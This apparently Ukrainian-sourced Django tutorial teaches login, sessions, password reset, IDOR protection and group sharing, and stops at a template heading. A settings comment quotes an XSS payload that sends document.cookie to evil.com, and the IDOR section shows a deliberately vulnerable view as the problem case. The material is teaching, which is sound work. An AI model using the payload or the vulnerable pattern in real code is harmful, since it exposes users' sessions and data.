Tutorial 05 — Django Authentication and Security¶
This tutorial walks you through the full security stack of a Django application: login/logout → password reset → object protection → groups for shared access.
The project —
notes_chat_app— is a notes manager with real-time group chat. In this section we examine the security layers that are already implemented in the application. You will see how security is "woven" into real code rather than existing separately.
Contents¶
Architectural foundation (read before the code) - 01 · AUTH BASICS — Authentication vs Authorization - 02 · SESSIONS — How Django remembers the user - 03 · PASSWORD SECURITY — Resetting and changing the password - 04 · OBJECT-LEVEL PERMISSIONS — Protection against IDOR - 05 · GROUP SHARING — Shared access through Django Groups - 06 · SECURITY SETTINGS — What and why
Step-by-step implementation 1. Step 0 — Launching the project (Docker) 2. Step 1 — Settings: auth + security 3. Step 2 — URLs: connecting the built-in auth views 4. Step 3 — Login / Register templates 5. Step 4 — Password Reset Flow (5 templates) 6. Step 5 — Password Change 7. Step 6 — Object-Level Permissions in views.py 8. Step 7 — Models: Group FK 9. Step 8 — Selectors: Q-filter for group access 10. Step 9 — Services: Group CRUD 11. Step 10 — Group Views + URLs 12. Step 11 — Group Templates 13. Project file structure
01 · AUTH BASICS¶
The main question: Who are you and what are you allowed to do?
These two questions are the foundation of any security system. Django answers them through two different systems.
Analogy — a passport and a concert ticket¶
- Passport = Authentication (AuthN): "Who are you?" — confirms identity. A guard checks the document and makes sure it is genuine.
- Ticket = Authorization (AuthZ): "Where are you allowed to go?" — determines rights. The cashier checks the ticket and decides where you can sit (VIP or the stalls).
At the airport: security checks your passport (AuthN), then your boarding pass (AuthZ). A passport without a ticket — you won't be let through. A ticket without a passport — neither.
Table: AuthN vs AuthZ¶
| Authentication (AuthN) | Authorization (AuthZ) | |
|---|---|---|
| Question | Who are you? | What are you allowed to do? |
| Answer | Password check | Check of rights on the object |
| Django tool | authenticate(), login() |
@login_required, get_object_or_404 |
| Where it is checked | AuthenticationMiddleware |
In each view separately |
| What if it fails | Form with an error | 302 Redirect or 404/403 |
Django Auth components¶
from django.contrib.auth import authenticate, login, logout
from django.contrib.auth.models import User
from django.contrib.auth.decorators import login_required
# 1. Verify credentials (AuthN):
user = authenticate(request, username='alice', password='secret')
# → Django: looks up the User with username='alice'
# → Checks the PBKDF2 password hash in the DB
# → Returns a User object if it matches, or None
# 2. Start a session after a successful login:
if user is not None:
login(request, user) # ← creates a session_id in the DB + a cookie in the browser
# Now request.user = alice in all subsequent requests
# 3. End the session:
logout(request) # ← deletes the session record from the DB + forcibly clears the cookie
Middleware chain: who sets request.user¶
Every request passes through the ENTIRE middleware chain (settings.py → MIDDLEWARE):
1. DebugExceptionMiddleware — logging/displaying errors in dev
2. DebugToolbarMiddleware — Django Debug Toolbar
3. SecurityMiddleware — HTTPS redirect, HTTP security headers
4. SessionMiddleware — reads Cookie: sessionid=... → loads the session from the DB
5. CommonMiddleware — trailing slash, Content-Type
6. CsrfViewMiddleware — checks csrfmiddlewaretoken in POST requests
7. AuthenticationMiddleware — reads the session → sets request.user
│ If there is a session → request.user = User(id=42)
│ If there is none → request.user = AnonymousUser
8. MessageMiddleware — Django messages flash framework
9. XFrameOptionsMiddleware — X-Frame-Options: DENY header
│
▼
View function (request.user is already set!)
Middleware order matters:
- SessionMiddleware must come before AuthenticationMiddleware — Auth reads the session
- CsrfViewMiddleware before the View — it checks CSRF before any view is called
- SessionMiddleware before CsrfViewMiddleware — CSRF uses the session
@login_required — what it does and where it lives¶
# notes_app/views.py
from django.contrib.auth.decorators import login_required
@login_required # ← decorator, checks request.user.is_authenticated
def note_list(request):
# If request.user = AnonymousUser:
# → redirect to LOGIN_URL (settings.py) + ?next=/notes/
# → 302 /accounts/login/?next=/notes/
# If request.user = User(id=42):
# → runs the view normally
notes = selectors.get_user_notes(request.user)
return render(request, 'notes_app/note_list.html', {'notes': notes})
# settings.py — where to redirect users who are not logged in:
LOGIN_URL = '/accounts/login/'
LOGIN_REDIRECT_URL = '/notes/' # where to go AFTER a successful login
LOGOUT_REDIRECT_URL = '/accounts/login/' # where to go AFTER logout
Important:
@login_requiredis only AuthN ("are you logged in?"). It does NOT check whether this particular note belongs to you. That requires a separate AuthZ step in the view (see Step 6).
02 · SESSIONS¶
The problem: HTTP is a stateless protocol. Every request is as if it were the "first". The server doesn't know who you are unless you send proof.
Analogy — a loyalty card at a café¶
Imagine a café where you earn points for every coffee. Without a card, the waiter forgets you after every visit. With a card, the points accumulate.
Session cookie = loyalty card: the browser stores it and automatically presents it with every request.
Step-by-step flow: Login → Cookie → Next request¶
STEP 1: Alice clicks "Log in"
─────────────────────────────────────────────────────────────────────────
Browser: POST /accounts/login/ {username: 'alice', password: 'secret'}
Django: CsrfViewMiddleware → checks csrfmiddlewaretoken ✓
authenticate('alice', 'secret') → User(id=42) ✓
login(request, user)
→ INSERT INTO django_session
(session_key='xK9mPq', session_data={_auth_user_id: 42}, expire_date=...)
Response: 302 /notes/
Header: Set-Cookie: sessionid=xK9mPq; HttpOnly; SameSite=Lax; Path=/
STEP 2: The browser stores the cookie. Alice sees /notes/
─────────────────────────────────────────────────────────────────────────
The browser stores: sessionid=xK9mPq (in the browser's protected storage)
STEP 3: Alice's next request (GET /notes/)
─────────────────────────────────────────────────────────────────────────
Browser: GET /notes/
Header: Cookie: sessionid=xK9mPq ← sent automatically!
Django SessionMiddleware:
SELECT * FROM django_session WHERE session_key='xK9mPq'
→ session_data = {_auth_user_id: 42}
Django AuthenticationMiddleware:
SELECT * FROM auth_user WHERE id=42
→ request.user = User(id=42, username='alice')
View: @login_required → request.user.is_authenticated → True ✓
notes = selectors.get_user_notes(request.user)
→ SQL: SELECT * FROM note WHERE user_id=42 OR group_id IN (...)
STEP 4: Logout
─────────────────────────────────────────────────────────────────────────
Browser: POST /accounts/logout/ (with the CSRF token in the POST body)
Django: logout(request)
→ DELETE FROM django_session WHERE session_key='xK9mPq'
Response: 302 /accounts/login/
Header: Set-Cookie: sessionid=; expires=Thu, 01 Jan 1970 00:00:00 GMT
Browser: Deletes the cookie. request.user → AnonymousUser.
The cookie in DevTools: how to see the session¶
Chrome DevTools → Application → Storage → Cookies → http://localhost
Field Value
─────────────────────────────────────────────────
Name sessionid
Value xK9mPq... (32-character random key)
Domain localhost
Path /
Expires (in 2 weeks by default)
Size ~100 B
HttpOnly ✓ (JS cannot read it!)
SameSite Lax
Try it in the Console:
document.cookie → 'csrftoken=abc123'
(sessionid is missing — HttpOnly!)
Cookie settings in settings.py¶
# settings.py:
SESSION_COOKIE_HTTPONLY = True
# ↑ JS cannot read sessionid via document.cookie
# Protection against XSS attacks that try to steal the cookie:
# <script>fetch('evil.com?c='+document.cookie)</script>
# → with HttpOnly: sessionid is absent from document.cookie → the attack is useless
SESSION_COOKIE_SAMESITE = "Lax"
# ↑ "Lax": the cookie is sent only from the same site OR
# on navigational GET requests (links)
# CSRF protection: evil.com cannot send a POST with your cookie
# "Strict" — stricter: the cookie is not sent even when following external links
# "None" — dangerous without the Secure (HTTPS) flag
CSRF_COOKIE_HTTPONLY = False
# ↑ False: JS can read csrftoken (needed for fetch/axios requests with a CSRF header)
# If you don't use JS for forms → True for strict protection
# Production HTTPS (uncomment when you have an SSL certificate):
# SESSION_COOKIE_SECURE = True # cookie only over HTTPS (not HTTP)
# CSRF_COOKIE_SECURE = True
03 · PASSWORD SECURITY¶
Django provides a complete password management system "out of the box" via
django.contrib.auth. You don't need to write a single view for login, logout, password reset or change.
What include('django.contrib.auth.urls') connects¶
This automatically registers:
| URL | View | Name (for {% url %}) |
Template (you need to create it) |
|---|---|---|---|
/accounts/login/ |
LoginView |
login |
registration/login.html |
/accounts/logout/ |
LogoutView |
logout |
(redirect, no template) |
/accounts/password_change/ |
PasswordChangeView |
password_change |
registration/password_change_form.html |
/accounts/password_change/done/ |
PasswordChangeDoneView |
password_change_done |
registration/password_change_done.html |
/accounts/password_reset/ |
PasswordResetView |
password_reset |
registration/password_reset_form.html |
/accounts/password_reset/done/ |
PasswordResetDoneView |
password_reset_done |
registration/password_reset_done.html |
/accounts/reset/<uidb64>/<token>/ |
PasswordResetConfirmView |
password_reset_confirm |
registration/password_reset_confirm.html |
/accounts/reset/done/ |
PasswordResetCompleteView |
password_reset_complete |
registration/password_reset_complete.html |
Conclusion: 8 URLs + 7 views are already written by Django — you only write the HTML templates.
Password Reset Flow — 5 steps¶
Step 1: /accounts/password_reset/
─────────────────────────────────────────────────────────────────────────
Alice forgot her password → enters her email in the form
→ password_reset_form.html
Step 2: Django processes the POST
─────────────────────────────────────────────────────────────────────────
Django looks for a User with that email (says nothing if none is found —
safe behavior: we don't reveal whether such an email exists)
Generates a unique token: sha256(user_pk + timestamp + SECRET_KEY)
Sends an email with a link:
/accounts/reset/<uidb64>/<token>/
[DEV: EMAIL_BACKEND = console → the email is printed to docker logs]
[PROD: EMAIL_BACKEND = smtp → a real email]
Step 3: /accounts/password_reset/done/
─────────────────────────────────────────────────────────────────────────
Django shows: "Check your email" (regardless of whether the email was found)
→ password_reset_done.html
Step 4: /accounts/reset/<uidb64>/<token>/
─────────────────────────────────────────────────────────────────────────
Alice follows the link from the email
Django: uidb64 → user_pk, token → verifies the signature
Is it valid? (72 hours, single-use — invalidated after use)
If OK → form for the new password + password validators
→ password_reset_confirm.html
Step 5: Success → /accounts/reset/done/
─────────────────────────────────────────────────────────────────────────
Password saved (hashed with PBKDF2 with a salt) → all of this user's sessions are reset
→ password_reset_complete.html
How PBKDF2 stores passwords¶
# What is stored in the DB (auth_user.password):
'pbkdf2_sha256$600000$salt$hash'
# ↑algorithm ↑iterations ↑salt ↑hash
# Plain text is never stored!
# Even Django doesn't know the original password — it only checks the hash.
# Verification:
# authenticate(request, username='alice', password='mysecret')
# → pbkdf2_sha256(600000 iterations, 'mysecret' + stored_salt)
# → compares with stored_hash
# → returns a User or None
# Why 600000 iterations?
# If a hacker stole the DB → brute force:
# SHA-256 without stretching: 10 billion attempts/sec
# PBKDF2 with 600000 iter: ~10 000 attempts/sec (1 000 000 times slower!)
Password Validators¶
# settings.py — 4 built-in validators:
AUTH_PASSWORD_VALIDATORS = [
# Is the password similar to the username / email / first_name?
{"NAME": "django.contrib.auth.password_validation.UserAttributeSimilarityValidator"},
# At least 8 characters (configurable: "OPTIONS": {"min_length": 10})
{"NAME": "django.contrib.auth.password_validation.MinimumLengthValidator"},
# Is it in the list of 20 000 most common passwords? ("password", "123456", "qwerty"...)
{"NAME": "django.contrib.auth.password_validation.CommonPasswordValidator"},
# Does it consist only of digits?
{"NAME": "django.contrib.auth.password_validation.NumericPasswordValidator"},
]
# Validators run:
# 1. On registration (UserCreationForm)
# 2. On password change (PasswordChangeForm, PasswordResetConfirmView)
# 3. On set_password() → validate_password()
# NOT on User.objects.create_user() unless you call validate_password()!
04 · OBJECT-LEVEL PERMISSIONS¶
The most common vulnerability in web applications (OWASP A01): Broken Access Control — a user gains access to someone else's data.
What IDOR (Insecure Direct Object Reference) is¶
Alice is registered. She sees the URL of her note: /notes/42/edit/
She thinks: "What happens if I change 42 to 43?"
Alice goes to: /notes/43/edit/
If the view doesn't check the owner → Alice edits BOB's note!
This is an IDOR attack — Insecure Direct Object Reference.
OWASP A01 (Broken Access Control) — the most frequent cause of data leaks.
The difference between AuthN and AuthZ by example¶
# ─── PROBLEM: @login_required is only AuthN, not AuthZ! ─────────────────────
@login_required
def note_edit(request, pk):
note = get_object_or_404(Note, pk=pk) # ← IDOR vulnerability!
# Alice is logged in → @login_required lets her through ✓
# But note(pk=43) belongs to Bob → Alice edits someone else's data! ✗
# Generated SQL:
# SELECT * FROM note WHERE pk = 43
# → returns Bob's note! No user_id check at all!
# ─── SOLUTION: add user= to get_object_or_404 ───────────────────────────────
@login_required
def note_edit(request, pk):
note = get_object_or_404(Note, pk=pk, user=request.user) # ← AuthZ ✓
# pk=43 + user=Alice
# SQL: SELECT * FROM note WHERE pk=43 AND user_id=42
# Bob has note(pk=43, user_id=99) → user_id=42 doesn't match → 404
Golden rule:
@login_required = "are you logged in?" (AuthN)
get_object_or_404( = "is this object yours?" (AuthZ)
Note, pk=pk,
user=request.user
)
Why 404 and not 403?
403 Forbidden → we tell them: "This resource exists, but you don't have access"
The hacker knows id=43 exists → may try other attacks
404 Not Found → we tell them: "No such resource exists"
The hacker doesn't know whether it exists → less information for an attack
Principle: don't reveal the existence of other people's objects.
Pattern for personal objects¶
# Applies to: note_edit, note_delete, note_detail (if personal),
# notebook_edit, notebook_delete, todolist_edit, shopping_edit, etc.
@login_required
def note_delete(request, pk):
note = get_object_or_404(Note, pk=pk, user=request.user)
if request.method == 'POST':
services.delete_note(note)
messages.warning(request, 'Нотатку видалено.')
return redirect('notes_app:note_list')
return render(request, 'notes_app/note_confirm_delete.html', {'note': note})
@login_required
def notebook_edit(request, pk):
# The same — Notebook with user=request.user
notebook = get_object_or_404(Notebook, pk=pk, user=request.user)
# ...
Pattern for shared objects (owner OR group member)¶
# Notes can belong to a group → the check is more complex:
from django.db.models import Q
@login_required
def note_detail(request, pk):
user_groups = request.user.groups.all()
note = get_object_or_404(
Note.objects.filter(
Q(user=request.user) | Q(group__in=user_groups)
),
pk=pk
)
# Alice sees the note if:
# note.user == Alice (personal note)
# OR note.group in Alice.groups.all() (group note)
#
# SQL:
# SELECT * FROM note
# WHERE pk = 43
# AND (user_id = 42 OR group_id IN (1, 3))
# → If neither one nor the other → 404
return render(request, 'notes_app/note_detail.html', {'note': note})
Table of protected views in notes_app¶
| View | Protection | How it is implemented |
|---|---|---|
note_list |
@login_required |
Selector Q(user=user) \| Q(group__in=...) |
note_edit |
@login_required + owner |
Q-filter for access, then note.user != request.user for editing |
note_delete |
@login_required + owner |
The same |
notebook_edit |
@login_required + owner |
get_object_or_404(Notebook, pk=pk, user=request.user) |
notebook_delete |
@login_required + owner |
The same |
group_detail |
@login_required + membership |
get_group_with_members(pk, user) → None if not a member |
group_delete |
@login_required + membership |
group.user_set.filter(pk=user.pk).exists() |
05 · GROUP SHARING¶
The idea: Alice wants to share notes with her team. She creates the group "Development Team" and adds Bob. Both of them see notes and shopping lists tagged with this group.
Django's built-in Group model¶
Django already has a ready-made Group model in django.contrib.auth:
from django.contrib.auth.models import Group
# Every Group has:
# id — PK
# name — name ('Family', 'Team', 'Class')
# user_set — M2N relationship with User (via the auth_user_groups junction table)
# permissions — M2N relationship with Permission (for role-based access — not our case)
# In notes_app we use Group for SHARING DATA between users,
# not for the Django Permission System (is_staff, is_superuser, permissions).
ER diagram: User, Group, Note, ShoppingList¶
┌──────────────┐ ┌──────────────────────┐ ┌──────────────┐
│ User │ │ auth_user_groups │ │ Group │
│──────────────│ │──────────────────────│ │──────────────│
│ id (PK) │◄───────►│ user_id (FK → User) │◄───────►│ id (PK) │
│ username │ M:N │ group_id (FK → Group)│ M:N │ name │
│ password │ └──────────────────────┘ └──────┬───────┘
│ email │ │
└──────┬───────┘ │ 1:N (FK SET_NULL)
│ │
│ 1:N (FK CASCADE) │
│ │
▼ ▼
┌────────────────────────────────────────────────────────────────────────────┐
│ Note │
│────────────────────────────────────────────────────────────────────────────│
│ id (PK) │
│ title │
│ content │
│ user_id (FK → User, CASCADE) ← required: who the owner is │
│ group_id (FK → Group, SET_NULL) ← optional: for sharing │
│ notebook_id (FK → Notebook, SET_NULL) │
│ priority, is_pinned, is_archived ... │
└────────────────────────────────────────────────────────────────────────────┘
┌────────────────────────────────────────────────────────────────────────────┐
│ ShoppingList │
│────────────────────────────────────────────────────────────────────────────│
│ user_id (FK → User, CASCADE) ← owner │
│ group_id (FK → Group, SET_NULL) ← for sharing │
└────────────────────────────────────────────────────────────────────────────┘
If group_id = NULL → personal note (only user_id sees it)
If group_id = 5 → group note (all members of group 5 see it)
Q-filter: "mine or the group's"¶
# notes_app/selectors.py
from django.db.models import Q
def get_user_notes(user, *, archived=False, notebook=None, tag=None, search=None):
"""Returns the user's notes + notes of the groups they belong to."""
user_groups = user.groups.all() # all of the user's groups (1 SQL)
qs = Note.objects.filter(
Q(user=user) | # own notes
Q(group__in=user_groups), # notes of groups where user is a member
is_archived=archived,
).select_related('notebook', 'group').prefetch_related('tags')
# ...
return qs.order_by('-is_pinned', '-priority', '-updated_at')
Alice is in the groups: [Team(id=1), Family(id=3)]
SQL (simplified):
SELECT * FROM note
WHERE (user_id = 42) -- Alice's personal notes
OR (group_id IN (1, 3)) -- notes of her groups
AND is_archived = FALSE
ORDER BY is_pinned DESC, priority DESC, updated_at DESC
Comparison of sharing approaches¶
M2M shared_with (TodoList) |
Group FK (Note, ShoppingList) | |
|---|---|---|
| Where | TodoList.shared_with = ManyToManyField(User) |
Note.group = ForeignKey(Group) |
| Share with whom | Specific users | All group members |
| Management | Through a form with checkboxes | Through /groups/<pk>/ |
| When it fits | "Share with Bob specifically" | "Share with the whole team" |
| Deletion | The ManyToMany record is deleted |
SET_NULL → the note becomes personal |
06 · SECURITY SETTINGS¶
Django has lots of security settings. Most are "off" by default so as not to break localhost development. In production they need to be turned on.
Table: each setting and what it protects against¶
| Setting | Value | What it protects against |
|---|---|---|
SESSION_COOKIE_HTTPONLY = True |
JS doesn't read sessionid | XSS → Session Hijacking |
SESSION_COOKIE_SAMESITE = "Lax" |
Cookie only from the same site | CSRF via cross-site forms |
CSRF_COOKIE_HTTPONLY = False |
JS reads csrftoken | (False = for fetch/axios) |
X_FRAME_OPTIONS = "DENY" |
Forbids <iframe> embedding |
Clickjacking attacks |
SECURE_CONTENT_TYPE_NOSNIFF = True |
Don't "guess" the MIME type | XSS via forged files |
DEBUG = False |
Hides stack traces | Leaking SECRET_KEY and code |
ALLOWED_HOSTS = ['mysite.com'] |
Only this domain | HTTP Host header attacks |
CSRF_TRUSTED_ORIGINS = [...] |
Allowed HTTPS origins | CSRF via ngrok/proxy |
What leaks with DEBUG = True in production¶
A server error with DEBUG=True shows:
✗ The full stack trace (file paths, function names, lines of code)
✗ The values of ALL local variables at the moment of the error
✗ SECRET_KEY leaks! (a hacker can forge session cookies and CSRF tokens)
✗ All SQL queries are kept in memory → memory leak under load
✗ INSTALLED_APPS, DATABASES, MIDDLEWARE — the whole config is visible in the browser
DEBUG = False + ALLOWED_HOSTS = ['mysite.com'] are mandatory in production.
Production HTTPS (uncomment on the server)¶
# settings.py — commented out in dev (so that localhost works over HTTP):
# SESSION_COOKIE_SECURE = True
# ↑ The cookie is sent ONLY over HTTPS
# Without this: a man-in-the-middle can intercept sessionid over HTTP
# CSRF_COOKIE_SECURE = True
# ↑ The same for the CSRF cookie
# SECURE_SSL_REDIRECT = True
# ↑ Any HTTP request → 301 Moved Permanently → HTTPS
# SECURE_HSTS_SECONDS = 31536000 # 1 year
# ↑ The browser remembers: ONLY HTTPS for 1 year
# (HTTP Strict Transport Security header)
# WARNING: once enabled — hard to roll back! The browser caches it and ignores HTTP.
ngrok and CSRF_TRUSTED_ORIGINS¶
notes_chat_app uses ngrok for public access. Django checks the Origin header on POST over HTTPS:
# settings.py (already implemented):
_ngrok_domain = os.environ.get('NGROK_DOMAIN', '')
CSRF_TRUSTED_ORIGINS = [f'https://{_ngrok_domain}'] if _ngrok_domain else []
# = ['https://fawn-natural-mayfly.ngrok-free.app']
# .env:
# NGROK_DOMAIN=fawn-natural-mayfly.ngrok-free.app
# Without CSRF_TRUSTED_ORIGINS:
# POST /accounts/login/ via ngrok → 403 Forbidden: CSRF verification failed
# Origin: https://fawn-natural-mayfly.ngrok-free.app — not in trusted origins!
Step 0 — Launch¶
# 1. Copy the configuration
cp .env.example .env
# Edit .env: SECRET_KEY, POSTGRES_*, NGROK_* if needed
# 2. Bring up the whole stack (PostgreSQL + Redis + Web + Nginx + ngrok + Selenium)
docker compose up --build
# 3. View the logs (the password reset email will be here)
docker compose logs -f web
# 4. Open in the browser
open http://localhost # via nginx
# OR
open http://localhost:8001 # directly to Uvicorn
# 5. Demo data (3 users, groups, notes)
# If SEED_DEMO_DATA=1 in .env → automatically at startup
# Manually:
docker compose exec web python manage.py seed_demo_data
# Logins: demo_alice/demo1234, demo_bob/demo1234, demo_carol/demo1234
What to look at in the browser¶
| URL | What it shows |
|---|---|
http://localhost/accounts/login/ |
Login form |
http://localhost/register/ |
Registering a new account |
http://localhost/accounts/password_reset/ |
Password recovery form |
http://localhost/accounts/password_change/ |
Password change (after logging in) |
http://localhost/notes/ |
Note list (logged-in users only) |
http://localhost/groups/ |
My groups |
http://localhost/groups/new/ |
Create a group |
http://localhost/admin/ |
Django Admin |
Where to find the email in the Docker logs¶
# After clicking "Надіслати посилання" (Send link) in the password_reset form:
docker compose logs web | grep -A 10 "Subject: Password reset"
# OR in real time:
docker compose logs -f web
# Look for the lines:
# Content-Type: text/plain; charset="utf-8"
# Subject: Password reset on localhost
# ...
# http://localhost/accounts/reset/Mg/abc123-token/ ← copy this URL!
Step 1 — Settings¶
Location: notes_project/settings.py
# ── Auth redirects ─────────────────────────────────────────────────────────────
LOGIN_URL = '/accounts/login/' # @login_required → redirect here
LOGIN_REDIRECT_URL = '/notes/' # after a successful login
LOGOUT_REDIRECT_URL = '/accounts/login/' # after logout
# ── Password Validators ────────────────────────────────────────────────────────
AUTH_PASSWORD_VALIDATORS = [
{"NAME": "django.contrib.auth.password_validation.UserAttributeSimilarityValidator"},
{"NAME": "django.contrib.auth.password_validation.MinimumLengthValidator"},
{"NAME": "django.contrib.auth.password_validation.CommonPasswordValidator"},
{"NAME": "django.contrib.auth.password_validation.NumericPasswordValidator"},
]
# ── Email (password reset) ─────────────────────────────────────────────────────
EMAIL_BACKEND = "django.core.mail.backends.console.EmailBackend"
# DEV: email goes to the container's stdout/logs
# PROD: replace with:
# EMAIL_BACKEND = "django.core.mail.backends.smtp.EmailBackend"
# EMAIL_HOST = "smtp.gmail.com"
# EMAIL_PORT = 587
# EMAIL_USE_TLS = True
# EMAIL_HOST_USER = os.environ['EMAIL_HOST_USER']
# EMAIL_HOST_PASSWORD = os.environ['EMAIL_HOST_PASSWORD']
# DEFAULT_FROM_EMAIL = "noreply@mysite.com"
# ── ngrok CSRF ────────────────────────────────────────────────────────────────
_ngrok_domain = os.environ.get('NGROK_DOMAIN', '')
CSRF_TRUSTED_ORIGINS = [f'https://{_ngrok_domain}'] if _ngrok_domain else []
# ── Web Security ──────────────────────────────────────────────────────────────
SESSION_COOKIE_HTTPONLY = True # JS doesn't read sessionid (XSS protection)
CSRF_COOKIE_HTTPONLY = False # JS reads csrftoken (for fetch in the chat)
SESSION_COOKIE_SAMESITE = "Lax" # CSRF protection for cookies
X_FRAME_OPTIONS = "DENY" # Clickjacking protection
SECURE_CONTENT_TYPE_NOSNIFF = True # MIME sniffing protection
# ── Messages → Bootstrap alert variants ────────────────────────────────────────
from django.contrib.messages import constants as messages_constants
MESSAGE_TAGS = {
messages_constants.DEBUG: 'secondary',
messages_constants.INFO: 'info',
messages_constants.SUCCESS: 'success',
messages_constants.WARNING: 'warning',
messages_constants.ERROR: 'danger',
}
Step 2 — URLs¶
Location: notes_project/urls.py
from django.contrib import admin
from django.urls import path, include
from debug_toolbar.toolbar import debug_toolbar_urls
urlpatterns = [
path("admin/", admin.site.urls),
# Django built-in auth: login, logout, password change, password reset
# Registers 8 URLs in a single line!
path("accounts/", include("django.contrib.auth.urls")),
# Our application: notes, groups, registration, WebSocket chat
path("", include("notes_app.urls", namespace="notes_app")),
] + debug_toolbar_urls()
Location: notes_app/urls.py
from django.urls import path
from . import views
app_name = 'notes_app'
urlpatterns = [
# ── Notes ──────────────────────────────────────────────────────────────
path('notes/', views.note_list, name='note_list'),
path('notes/new/', views.note_create, name='note_create'),
path('notes/<int:pk>/', views.note_detail, name='note_detail'),
path('notes/<int:pk>/edit/', views.note_edit, name='note_edit'),
path('notes/<int:pk>/delete/', views.note_delete, name='note_delete'),
# ── Notebooks ──────────────────────────────────────────────────────────
path('notebooks/', views.notebook_list, name='notebook_list'),
path('notebooks/new/', views.notebook_create, name='notebook_create'),
path('notebooks/<int:pk>/edit/', views.notebook_edit, name='notebook_edit'),
path('notebooks/<int:pk>/delete/', views.notebook_delete, name='notebook_delete'),
# ── Auth (custom — registration not in auth.urls) ──────────────────────
path('register/', views.register, name='register'),
# ── Groups ─────────────────────────────────────────────────────────────
path('groups/', views.group_list, name='group_list'),
path('groups/new/', views.group_create, name='group_create'),
path('groups/<int:pk>/', views.group_detail, name='group_detail'),
path('groups/<int:pk>/delete/', views.group_delete, name='group_delete'),
# ── Chat (WebSocket, via groups) ──────────────────────────────────────
path('groups/<int:pk>/chat/', views.group_chat, name='group_chat'),
]
Step 3 — Login / Register¶
templates/registration/login.html¶
Django automatically looks for registration/login.html for LoginView.
{% extends 'base.html' %}
{% block body %}
<div class="min-vh-100 d-flex align-items-center justify-content-center bg-light">
<div class="card shadow" style="width: 400px;">
<div class="card-body p-4">
<!-- Logo / brand -->
<div class="text-center mb-4">
<i class="bi bi-journal-bookmark-fill display-4 text-primary"></i>
<h5 class="fw-bold mt-2 mb-0">Notes Chat App</h5>
<p class="text-muted small">Увійди до свого акаунту</p>
</div>
<!-- Login error -->
{% if form.errors %}
<div class="alert alert-danger py-2 small">
<i class="bi bi-exclamation-triangle me-1"></i>
Невірний логін або пароль. Спробуй ще раз.
</div>
{% endif %}
<!-- Login form -->
<form method="post">
{% csrf_token %}
{# ↑ MANDATORY! Without csrf_token Django will reject the POST with 403 Forbidden #}
<div class="mb-3">
<label class="form-label fw-semibold">Логін</label>
<input type="text"
name="{{ form.username.html_name }}"
class="form-control"
autofocus
autocomplete="username"
placeholder="твій_логін">
</div>
<div class="mb-4">
<label class="form-label fw-semibold">Пароль</label>
<input type="password"
name="{{ form.password.html_name }}"
class="form-control"
autocomplete="current-password">
</div>
<!-- next: where to return after logging in (e.g. /notes/42/) -->
<input type="hidden" name="next" value="{{ next }}">
{# LoginView passes 'next' in the context — the URL to redirect to after login #}
<button type="submit" class="btn btn-primary w-100 py-2">
<i class="bi bi-box-arrow-in-right me-2"></i>Увійти
</button>
</form>
<hr class="my-3">
<div class="d-flex justify-content-between">
<a href="{% url 'notes_app:register' %}" class="text-decoration-none small">
<i class="bi bi-person-plus me-1"></i>Зареєструватись
</a>
<a href="{% url 'password_reset' %}" class="text-decoration-none small text-muted">
{# 'password_reset' — a built-in URL from django.contrib.auth.urls #}
Забули пароль?
</a>
</div>
</div>
</div>
</div>
{% endblock %}
notes_app/views.py — Registration view¶
django.contrib.auth.urls doesn't include registration — you have to write it yourself:
# notes_app/views.py
from django.contrib.auth.forms import UserCreationForm
from django.contrib.auth import login
def register(request):
"""
Registering a new user.
After successful registration — auto-login and redirect to note_list.
"""
if request.user.is_authenticated:
# Already logged in → don't show the registration form
return redirect('notes_app:note_list')
if request.method == 'POST':
form = UserCreationForm(request.POST)
if form.is_valid():
user = form.save()
# auto-login: don't force the user to log in right after registering
login(request, user)
messages.success(request, f'Вітаємо, {user.username}! Акаунт створено.')
return redirect('notes_app:note_list')
else:
form = UserCreationForm()
return render(request, 'registration/register.html', {'form': form})
templates/registration/register.html¶
{% extends 'base.html' %}
{% load crispy_forms_tags %}
{% block body %}
<div class="min-vh-100 d-flex align-items-center justify-content-center bg-light">
<div class="card shadow" style="width: 440px;">
<div class="card-body p-4">
<div class="text-center mb-4">
<i class="bi bi-person-plus-fill display-4 text-success"></i>
<h5 class="fw-bold mt-2 mb-0">Реєстрація</h5>
<p class="text-muted small">Створи новий акаунт</p>
</div>
<form method="post">
{% csrf_token %}
{{ form|crispy }}
{# UserCreationForm: username, password1, password2 #}
{# crispy: Bootstrap 5 styles automatically #}
<button type="submit" class="btn btn-success w-100 mt-2 py-2">
<i class="bi bi-check-circle me-2"></i>Зареєструватись
</button>
</form>
<hr class="my-3">
<p class="text-center text-muted small mb-0">
Вже є акаунт? <a href="{% url 'login' %}">Увійти</a>
</p>
</div>
</div>
</div>
{% endblock %}
Step 4 — Password Reset¶
Django provides 4 views for password reset. You only need to write the templates.
templates/registration/password_reset_form.html¶
{% extends 'base.html' %}
{% block body %}
<div class="min-vh-100 d-flex align-items-center justify-content-center bg-light">
<div class="card shadow" style="width: 440px;">
<div class="card-body p-4">
<div class="text-center mb-4">
<i class="bi bi-key-fill display-4 text-warning"></i>
<h5 class="fw-bold mt-2">Відновлення паролю</h5>
<p class="text-muted small">
Введіть ваш email — надішлемо посилання для скидання.
</p>
</div>
<form method="post">
{% csrf_token %}
<div class="mb-3">
<label class="form-label fw-semibold">Email адреса</label>
<input type="email"
name="email"
class="form-control"
autofocus
placeholder="alice@example.com">
<div class="form-text text-muted">
Якщо акаунт з таким email існує — отримаєш листа.
{# Safe: Django doesn't reveal whether the email exists or not #}
</div>
</div>
<button type="submit" class="btn btn-warning w-100 py-2 fw-semibold">
<i class="bi bi-envelope me-2"></i>Надіслати посилання
</button>
</form>
<div class="text-center mt-3">
<a href="{% url 'login' %}" class="text-muted small">
<i class="bi bi-arrow-left me-1"></i>Назад до входу
</a>
</div>
</div>
</div>
</div>
{% endblock %}
templates/registration/password_reset_done.html¶
{% extends 'base.html' %}
{% block body %}
<div class="min-vh-100 d-flex align-items-center justify-content-center bg-light">
<div class="card shadow" style="width: 440px;">
<div class="card-body p-4 text-center">
<i class="bi bi-envelope-check-fill display-4 text-success mb-3"></i>
<h5 class="fw-bold">Посилання надіслано!</h5>
<p class="text-muted">
Перевірте вашу пошту і перейдіть за посиланням щоб скинути пароль.
</p>
<!-- DEV hint: the email is in docker logs -->
<div class="alert alert-info text-start small mt-3">
<strong><i class="bi bi-terminal me-1"></i>DEV режим:</strong>
Email не надсилається реально. Знайди його у логах Docker:
<code class="d-block mt-1">docker compose logs -f web</code>
Скопіюй URL що починається з
<code>/accounts/reset/...</code>
</div>
<a href="{% url 'login' %}" class="btn btn-outline-secondary btn-sm mt-2">
Повернутись до входу
</a>
</div>
</div>
</div>
{% endblock %}
templates/registration/password_reset_confirm.html¶
